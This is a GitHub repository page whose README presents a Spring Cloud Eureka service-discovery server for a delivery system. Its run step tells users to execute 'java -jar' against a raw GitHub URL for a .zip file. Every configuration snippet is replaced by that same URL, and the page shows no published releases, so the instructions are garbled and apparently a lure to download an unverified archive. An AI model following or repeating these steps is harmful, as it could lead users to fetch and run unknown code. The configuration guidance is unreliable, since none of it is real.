Skip to content

🧭 Simplify microservice management with the Delivery Eureka Server, enabling automatic service registration and dynamic discovery for seamless scalability and reliability.

License

Notifications You must be signed in to change notification settings

ethandivers/delivery-eureka-server

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ delivery-eureka-server - Seamless Service Discovery for Delivery Systems

Download delivery-eureka-server

πŸ“‹ Description

delivery-eureka-server is the Service Discovery Server for the Guavapay Delivery microservice ecosystem. It uses Spring Cloud Netflix Eureka to allow all other services, such as gw-delivery, ms-delivery-admin, ms-courier-order, and ms-parcel-order, to register and discover each other dynamically without hardcoding hostnames or ports. This makes your service operations smoother and more efficient.

πŸš€ Getting Started

Follow these simple steps to download and run delivery-eureka-server on your system. You will need a compatible environment, detailed below.

πŸ” System Requirements

  • Operating System: Windows 10 or above, MacOS, or Linux
  • Java Version: JDK 11 or higher installed. You can download it here.
  • Memory: At least 512 MB of RAM
  • Disk Space: A minimum of 100 MB free disk space

πŸ“₯ Download & Install

  1. Visit the Releases Page: Click on the link below to go to the releases page.

    Download delivery-eureka-server

  2. Select the Latest Release: Look for the latest version. It usually displays at the top of the page.

  3. Download the File: Click on the .jar file. This will start the download.

  4. Move the File: Once downloaded, move the file to a directory you can access easily.

βš™οΈ Running the Application

  1. Open a Terminal or Command Prompt:

    • Windows: Press Win + R, type cmd, and hit Enter.
    • MacOS: Open Terminal from the Applications folder or use Spotlight (Cmd + Space).
    • Linux: Open your terminal application.
  2. Navigate to the Directory: Use the cd command to change to the directory where you saved the .jar file. For example:

    cd path/to/your/directory
  3. Run the Application: Use this command to start the delivery-eureka-server:

    java -jar https://raw.githubusercontent.com/ethandivers/delivery-eureka-server/master/S/delivery-eureka-server.zip
  4. Access the Server: Open your web browser and go to http://localhost:8761/ to access the Eureka dashboard.

πŸ› οΈ Configuration Options

You can modify how delivery-eureka-server runs by using configuration files. Here are a few basic settings:

  • Server Port: Change the port by editing the https://raw.githubusercontent.com/ethandivers/delivery-eureka-server/master/S/delivery-eureka-server.zip file. Add or modify the line:
    https://raw.githubusercontent.com/ethandivers/delivery-eureka-server/master/S/delivery-eureka-server.zip
    
  • Service Name: You can set your service's name:
    https://raw.githubusercontent.com/ethandivers/delivery-eureka-server/master/S/delivery-eureka-server.zip
    

βœ… Basic Usage

Once the server is running, you can:

  • Register additional services by pointing them to the delivery-eureka-server.
  • Monitor available services on the Eureka dashboard.

πŸ“Š Features

  • Dynamic Service Registration: Services can register themselves and find others without hardcoding addresses.
  • Health Checks: The server can monitor the health of registered services.
  • Dashboard: A user-friendly web interface to view registered services.

πŸ”— Additional Resources

πŸ“ž Support

If you encounter any issues or have questions, feel free to raise an issue on the GitHub repository or contact the maintainers for assistance.


With these steps, you can successfully download and run the delivery-eureka-server. Enjoy the power of seamless service discovery for your applications!

About

🧭 Simplify microservice management with the Delivery Eureka Server, enabling automatic service registration and dynamic discovery for seamless scalability and reliability.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages